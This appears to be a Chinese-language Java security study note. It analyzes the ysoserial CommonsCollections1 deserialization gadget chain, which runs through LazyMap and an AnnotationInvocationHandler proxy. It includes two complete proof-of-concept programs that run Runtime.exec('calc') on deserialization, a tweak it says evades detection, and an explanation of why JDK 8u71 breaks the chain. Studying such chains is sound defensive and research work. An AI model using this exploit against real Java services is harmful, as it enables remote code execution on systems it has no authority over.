java安全-CC1进阶

一、官方CC1

ysoserial官方链为

1
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

二、主要逻辑

官方CC1没有使用我们一开始的类,而是用到了LazyMap.java这个类文件

  • 入口类readObject类没有变,依旧是sun.reflect.annotation.AnnotationInvocationHandler这个类下的readObject方法
  • 最终危险调用结束也没有改变,依旧是ChainedTransformer.transform()这个链式方法执行命令

改变的是中间逻辑lazyMap的调用

具体过程如下(危险到入口)

1.ChainedTransformer#transform方法的调用

这里,官方选取了org/apache/commons/collections/map/LazyMap.java这个类中的get方法

image-20260110220224169

这个方法的条件一般都是容易满足,只要没有key对应的value,如果满足这个条件就会接着调用 factory 的 transform 方法,而这个transform类是可控的

image-20260110220548417

利用此方法创建LazyMap对象时,传入第二个参数便可以控制为new ChainedTransformer(chuan) 这个恶意类

1
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ChainedTransformer(chuan));

2.lazyMap#get方法的调用

通过追溯,找到了sun/reflect/annotation/AnnotationInvocationHandler.java类下invoke方法会调用传入类(可控)的get 方法

image-20260110221347588

这里我们通过反射构造 sun.reflect.annotation.AnnotationInvocationHandler 类时,构造器传第二个参数为 lazyMap 对象即可

1
InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);

3.AnnotationInvocationHandler#invoke方法的调用

注意到此类实现了InvocationHandler接口,于是可以作为动态代理时,处理被代理对象的类

image-20260110221801296

1
2
InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

我们在调用 lazyMap 中的方法时,便会先调用 InvocationHandler 中的逻辑,也就会触发 invoke 方法中的 get 方法

具体逻辑

  • 创建恶意Map集合

    1
    Map<Object,Object> lazyMap = LazyMap.decorate(map,new ChainedTransformer(chuan));
  • 创建代理利用时的重写 invoke 方法的继承 InvocationHandler 的类

    1
    InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);

    这个与我们之前创建代理类时相同,不同的是我们不需要手动创建,这里直接使用AnnotationInvocationHandler#invoke类直接作为创建代理对象时的第三个参数也就是拦截器

  • 创建代理类

    这里我们使用lazyMap的类加载器作为第一个参数,因为我们要代理它嘛,实现的接口为 Map ,最终第三个参数为处理类

    1
    Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
  • 代理触发点

    image-20260111165332836

    AnnotationInvocationHandler 类在反序列化时,会调用 readObject 方法,进而调用 memberValues.entrySet() 方法,随后变走到了动态代理里面,因此我们构造使得 memberValues 为mapProxy 对象

    1
    Object obj2 = constructor.newInstance(Override.class,mapProxy);

由此,链式调用结束,实现恶意类的调用

image-20260111165819741

三、poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Class r = Runtime.class;
Transformer chaun0 = new ConstantTransformer(r);
Transformer chuan1 = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
Transformer chuan2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
Transformer chuan3= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] chuan = {chaun0,chuan1,chuan2,chuan3};

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);

Map<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ChainedTransformer(chuan));

InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object obj2 = constructor.newInstance(Override.class,mapProxy);

serialize(obj2);
unserialize();

1.链路回顾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
AnnotationInvocationHandler#readObject()
->
memberValues.entrySet() 1.memberValues=mapProxy
->
mapProxy#entrySet()
->
AnnotationInvocationHandler#invoke()
->
memberValues.get(member)->mapProxy#get(member)
->
factory#transform(key) 2.factory=ChainedTransformer(chuan)
->
ChainedTransformer(chuan)#transform(key)
->
InvokerTransformer#transform()
->
Runtime.exec()

2.额外

  • 官方在最后才修改了 ChainedTransformer(chuan)#transform(key) 中的 chuan 参数,防止,在序列化之前调用Map的某些方法导致先行执行命令,造成干扰

    image-20260111172507620

  • **官方在chain链的最后加入了一个 new ConstantTransformer(1) } **

    image-20260111174553580

    这么做的目的,理论上是为了防止恶意类被检测到

    • 没做之前异常信息为

      1
      Exception in thread "main" java.lang.ClassCastException: java.lang.ProcessImpl cannot be cast to java.util.Set

      这里有一个java.lang

    • 添加之后

      image-20260111174833251

      变为了 Integer

3.完美

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Class r = Runtime.class;
Transformer chaun0 = new ConstantTransformer(r);
Transformer chuan1 = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
Transformer chuan2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
Transformer chuan3= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] chuan = {chaun0,chuan1,chuan2,chuan3,new ConstantTransformer(1)};

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);

Transformer con = new ConstantTransformer(1);
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{con});

Map<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object obj2 = constructor.newInstance(Override.class,mapProxy);

Class clazz = chainedTransformer.getClass();
Field f = clazz.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer,chuan);

serialize(obj2);
unserialize();

4.JDK8u71

JDK 8u71 这个版本中,Oracle 修改了 AnnotationInvocationHandler 的源码

Oracle 在 8u71(以及 7u95, 6u111)中重写了 readObject 方法。原本是为了解决另一个无关的 bug,但副作用是彻底改变了数据的读取方式,大概如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// JDK >= 8u71
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
// 1. 改用 GetField 读取,不再自动恢复对象属性
ObjectInputStream.GetField fields = s.readFields();

// 2. 从流中获取值,赋给局部变量 streamVal,而不是直接赋给 this.memberValues
// 注意:此时 this.memberValues 仍然是 null!
@SuppressWarnings("unchecked")
Map<String, Object> streamVal = (Map<String, Object>)fields.get("memberValues", null);
Class<?> streamType = (Class<?>)fields.get("type", null);

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(streamType);
} catch(IllegalArgumentException e) {
// 如果类型不对,直接 return,根本不往下走
return;
}

// 3. 这里的逻辑完全变了!
// 以前是直接遍历 memberValues (也就是我们的 Proxy)
// 现在它新建了一个 LinkedHashMap
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Map<String, Object> mv = new LinkedHashMap<>(streamVal.size());

// 4. 它开始遍历 streamVal (虽然也是我们的 Proxy)
// 但是!注意看它怎么操作的
for (Map.Entry<String, Object> memberValue : streamVal.entrySet()) {
String name = memberValue.getKey();
// ... 省略一系列类型检查 ...
mv.put(name, value); // 只是把值取出来放到新 Map 里
}

// 5. 最后才把新生成的、干净的 Map 赋给 this.memberValues
this.memberValues = mv;
}
  • LazyMap

    这个不能用的原因是因为

    jdk8u71重写了AnnotationInvocationHandlerreadObject方法

    image-20260112161554788

    这里我们传入的 LazyMapProxy 不在是通过默认的defaultreadfield方法去构建,而是通过自定义流的情况下获取我们传入的恶意类 LazyMapProxy 并赋值为 streamVals ,之后调用entrySet方法,进到了我们重写的 invoke 方法

    • 可能性1

      此时,readObject逻辑没有执行完, memberValues 这个成员变量当然也还没有赋值,所以会产生空指针异常,爆炸

    • 可能性2(更加稳妥)

      但是此时,我们创建代理对象恶意类的时候

      1
      InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);

      这个,新版本重写了 readobject 逻辑,导致最后把新生成的、干净的 Map 赋给 this.memberValues,而不是我们最开始的恶意代理类LazyMapProxy

      进而在 invoke 里调用put方法时,不会触发我们的恶意方法链

      新版代码处理后,AnnotationInvocationHandler 对象在内存里复活时,它的 memberValues 变成了一个普通的 LinkedHashMap

  • TransformerMap

    这个就更别说了,新版本直接删除了这个类的触发方法 setValue

    jdk8u71

    image-20260112165125225

    jdk8u65

    image-20260112165700052